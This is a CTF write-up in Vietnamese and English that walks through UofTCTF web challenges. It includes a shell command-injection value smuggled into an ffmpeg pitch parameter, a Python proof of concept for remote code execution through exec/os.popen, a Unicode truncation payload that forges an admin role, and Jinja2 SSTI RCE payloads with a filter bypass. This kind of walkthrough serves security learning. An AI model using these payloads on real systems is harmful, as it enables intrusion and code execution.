## UOFTCTF ### Voice change đề bài : Voice Changer vul : command injection When you go to the page you will see ![image](https://hackmd.io/_uploads/r1JhL_OjT.png) Flow : click to the micro will record voice Input pitch is fast or slow @@ after submit your voice will receive /////////////////////////////////////////////////// $ ffmpeg -i "/app/upload/0a8445c0-b561-11ee-b2b7-a532f82fac95.ogg" -y -af "asetrate=44100*1,aresample=44100,atempo=1/1" "/app/output/0a8445c0-b561-11ee-b2b7-a532f82fac95.ogg" ffmpeg version 6.1 Copyright (c) 2000-2023 the FFmpeg developers built with gcc 13.2.1 (Alpine 13.2.1_git20231014) 20231014 configuration: --prefix=/usr --disable-librtmp --disable-lzma --disable-static --disable-stripping --enable-avfilter --enable-gpl --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libdav1d --enable-libdrm --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libharfbuzz --enable-libmp3lame --enable-libopenmpt --enable-libopus --enable-libplacebo --enable-libpulse --enable-librav1e --enable-librist --enable-libsoxr --enable-libsrt --enable-libssh --enable-libtheora --enable-libv4l2 --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxcb --enable-libxml2 --enable-libxvid --enable-libzimg --enable-libzmq --enable-lto=auto --enable-lv2 --enable-openssl --enable-pic --enable-postproc --enable-pthreads --enable-shared --enable-vaapi --enable-vdpau --enable-version3 --enable-vulkan --optflags=-O3 --enable-libjxl --enable-libsvtav1 --enable-libvpl libavutil 58. 29.100 / 58. 29.100 libavcodec 60. 31.102 / 60. 31.102 libavformat 60. 16.100 / 60. 16.100 libavdevice 60. 3.100 / 60. 3.100 libavfilter 9. 12.100 / 9. 12.100 libswscale 7. 5.100 / 7. 5.100 libswresample 5. 0.100 / 5. 0.100 libpostproc 57. 3.100 / 57. 3.100 Input #0, matroska,webm, from '/app/upload/0a8445c0-b561-11ee-b2b7-a532f82fac95.ogg': Metadata: encoder : Chrome Duration: N/A, start: 0.000000, bitrate: N/A Stream #0:0(eng): Audio: opus, 48000 Hz, mono, fltp (default) Stream mapping: Stream #0:0 -> #0:0 (opus (native) -> vorbis (libvorbis)) Press [q] to stop, [?] for help Output #0, ogg, to '/app/output/0a8445c0-b561-11ee-b2b7-a532f82fac95.ogg': Metadata: encoder : Lavf60.16.100 Stream #0:0(eng): Audio: vorbis, 44100 Hz, mono, fltp (default) Metadata: encoder : Lavc60.31.102 libvorbis size= 3kB time=00:00:00.03 bitrate= 742.6kbits/s speed=15.3x [out#0/ogg @ 0x7f8d02d395c0] video:0kB audio:12kB subtitle:0kB other streams:0kB global headers:3kB muxing overhead: 29.082904% size= 15kB time=00:00:01.69 bitrate= 73.3kbits/s speed=24.4x ///////////////////////////////////// - see this page use command to research ![image](https://hackmd.io/_uploads/HySaIOuiT.png) GPT : ![image](https://hackmd.io/_uploads/H1kCUuuja.png) You can see the pitch will inject to ,atempo=1/1 We use command "1.7 $(ls -lha)" to the pitch value Observe carefully And we can see the output View exploit ![image](https://hackmd.io/_uploads/ryo1PudoT.png) ![image](https://hackmd.io/_uploads/r1MePO_iT.png) You can see file secret.txt ![image](https://hackmd.io/_uploads/SyDlP_Ooa.png) Flags : uoftctf{Y0URPitchIS70OH!9H} ### No code Explain : ![image](https://hackmd.io/_uploads/ByEpwOujT.png) ![image](https://hackmd.io/_uploads/ry_6P__ia.png) flag : uoftctf{r3g3x_3p1c_f41L_XDDD} POC: ``` import requests,json cmd=input('Commmand: ') PL=f"\nstr(exec(\"import os; result=os.popen(\'{cmd}\').read();\"))+result" print(PL) r=requests.post( "https://uoftctf-no-code.chals.io/execute", data={"code": PL} ) data=json.loads(r.content.decode()) print(data['output'][4:]) ``` ### GuestBook Đây là source code của bài này ``` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>My Guestbook</title> <script async=false defer=false> fetch("https://script.google.com/macros/s/AKfycbyMdMLPsRtvXmcQN1V2yR3Zv_HYI1jvVqOCNAZpx7xgXqSflgwrtcveyUaGB8eTZwkM/exec?sheetId=1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ").then(x=>x.json()).then(x=>{ x.slice(x.length-11).forEach(entry =>{ const el = document.createElement("li"); el.innerText = entry.Name + " - " + entry.Message document.getElementById("entries").appendChild(el) }) document.getElementById("loading")?.remove(); }) </script> </head> <body> <h1> Hi! I made this guestbook for my site, please sign it. </h1> <iframe name="dummyframe" id="dummyframe" style="display: none;"></iframe> <h3 style="margin: 0">Last 10 user entries in the guestbook:</h3> <p id="loading" style="margin: 0">Loading...</p> <ul id="entries" style="margin: 0"> </ul> <h3>Sign the guestbook:</h3> <form method="POST" action="https://script.google.com/macros/s/AKfycbyMdMLPsRtvXmcQN1V2yR3Zv_HYI1jvVqOCNAZpx7xgXqSflgwrtcveyUaGB8eTZwkM/exec?sheetId=1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ"> <input id="name" name="name" type="text" placeholder="Name" required> <input id="message" name="message" type="text" placeholder="Message" required> <button type="submit">Send</button> </form> </body> </html> ``` Nó sẽ gọi một file data theo như mình tìm hiểu thì đây là một file sheet và đoạn exec?sheetId=1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ Sẽ là một id riêng biệt cho một sheet Để xem được nó thì có 2 cách + cách 1: https://docs.google.com/spreadsheets/d/1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ - sẽ mở một sheet lên và nó chứa flag trong module raw ![image](https://hackmd.io/_uploads/rysXOOuja.png) ![image](https://hackmd.io/_uploads/BkVmudui6.png) + cách 2: Dùng app script của google hoặc cũng có thể dùng js cũng được ![image](https://hackmd.io/_uploads/SkKM_dOja.png) Chạy code và nhận flag: ![image](https://hackmd.io/_uploads/B1BfO_uip.png) Flag: uoftctf{@PP 5cRIP7 !5 s0 coOL} ### Jay Bank Đề bài : Jay's Bank Tag : trick, mysql, white box In db.js : ![image](https://hackmd.io/_uploads/S1saouOo6.png) This method converts object to string Flag exists in config.js ![image](https://hackmd.io/_uploads/BywpoOdoa.png) Maintains : ![image](https://hackmd.io/_uploads/B1fToOuoT.png) You can see column data contains max 255 chars Issue : length > 255 cut off the excess data In routes ![image](https://hackmd.io/_uploads/SJT2jOdsp.png) IF data.role = admin we can have flag :v PUT profile router.put("/profile", jwtAuth, async (req, res) => { let username = req.user.username; let existingData = await db.getData(username); try { existingData = JSON.parse(existingData); } catch { existingData = { role: "user" }; } let { phone, credit_card, secret_question, secret_answer, current_password } = req.body; if (!current_password) { return res.status(400).json({ success: false, message: "Missing current password", }); } if ( !( typeof current_password === "string" && (await db.verifyPassword(username, current_password)) ) ) { return res .status(401) .json({ success: false, message: "Invalid current password" }); } if (!phone || !credit_card || !secret_question || !secret_answer) { return res.status(400).json({ success: false, message: "Missing fields" }); } if (phone.length !== 10 || isNaN(phone)) { return res .status(400) .json({ success: false, message: "Invalid phone number" }); } if (credit_card.length !== 16 || isNaN(credit_card)) { return res .status(400) .json({ success: false, message: "Invalid credit card number" }); } if (typeof secret_question !== "string" || secret_question.length > 45) { return res .status(400) .json({ success: false, message: "Invalid secret question" }); } if (typeof secret_answer !== "string" || secret_answer.length > 45) { return res .status(400) .json({ success: false, message: "Invalid secret answer" }); } try { await db.updateData( username, db.convert({ phone, credit_card, secret_question, secret_answer, role: "user", }) ); return res .status(200) .json({ success: true, message: "Successfully updated" }); } catch { return res .status(400) .json({ success: false, message: "Failed to update DB" }); } }); check secret_answer.length > 45 Remember to unicode "İİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİ" Length will > 45 ToLOwerCase() will length > 255 and role: "user", will be cut payload = { "phone": "1234567890", "credit_card": "1234567890987654", "secret_question": "İİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİ", "secret_answer": 'İİİİİİİİİİİİİİİİİİİİİİİİ","role":"admin"}', "current_password": account['password'] } Flag : co lam thi moi co an ### MyFirstApp ![image](https://hackmd.io/_uploads/SkDK5_uja.png) - Start this challenge i know this is ssti vulnerability but i sit to bypass regex ![image](https://hackmd.io/_uploads/HkCY9_dja.png) - I have thought about it in jwt but if I don't do it, it won't work - Suggestions from the guys in the club i solver this challenge : - Brute-force key, we have "torontobluejays" - Let change username to RCE: - Use payload jinja2(Python) {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} - Malicious stuff: ["'", '_', 'os', 'popen', 'global'] {{()|attr((request|string).17~(request|string).18~(request|string).19~(request|string).20~(request|string).21~(request|string).22~(request|string).23~(request|string).24~(request|string).25)}} - RCE success you you will have flag - ý tưởng là từ đó mình có thể nối các chuỗi Flags: co lam thi moi bài này xong giải nen mình chưa test lại mà luồng đúng rồi nha :# ### The Varsity đề bài : The Varsity vul : parseInt vul in javascript View source have main you can get the flag ![image](https://hackmd.io/_uploads/Skvrq_usa.png) You must show item 10 to view it Main function ![image](https://hackmd.io/_uploads/Hy-rcOOsT.png) Firstly, verify token Firewall 1: ![image](https://hackmd.io/_uploads/S1_Vq_ujT.png) Get issue from your from and check issue must > 0 Check if subscription !== "subscription" && issue > 9 You understand if all condition are true and subscription !== "subscription" you cant't control it so you can control issue After that, parseInt(issue) ![image](https://hackmd.io/_uploads/SyX49O_op.png) Verify issue is number or issue > articles.length - 1 Solution 1: ![image](https://hackmd.io/_uploads/BJ6m9Odsp.png) + You can search parseInt in google to understand it +If you control issue = "9+5"; issue > 9 and parseInt(issue) is Number And so we get flag : : uoftctf{w31rd_b3h4v10r_0f_parseInt()!} ![image](https://hackmd.io/_uploads/SJLm9O_ia.png) +If you control issue = "9 years"; issue > 9 and parseInt(issue) is Number ![image](https://hackmd.io/_uploads/HJ-7cd_i6.png) ``` parseInt("10"); => 10 parseInt("10.00"); => 10 parseInt("10.33"); => 10 parseInt("34 45 66"); => 34 parseInt(" 60 "); => 60 parseInt("40 years"); => 40 parseInt("He was 40"); => NaN ``` Flag : trong anh trenoftCTF](https://)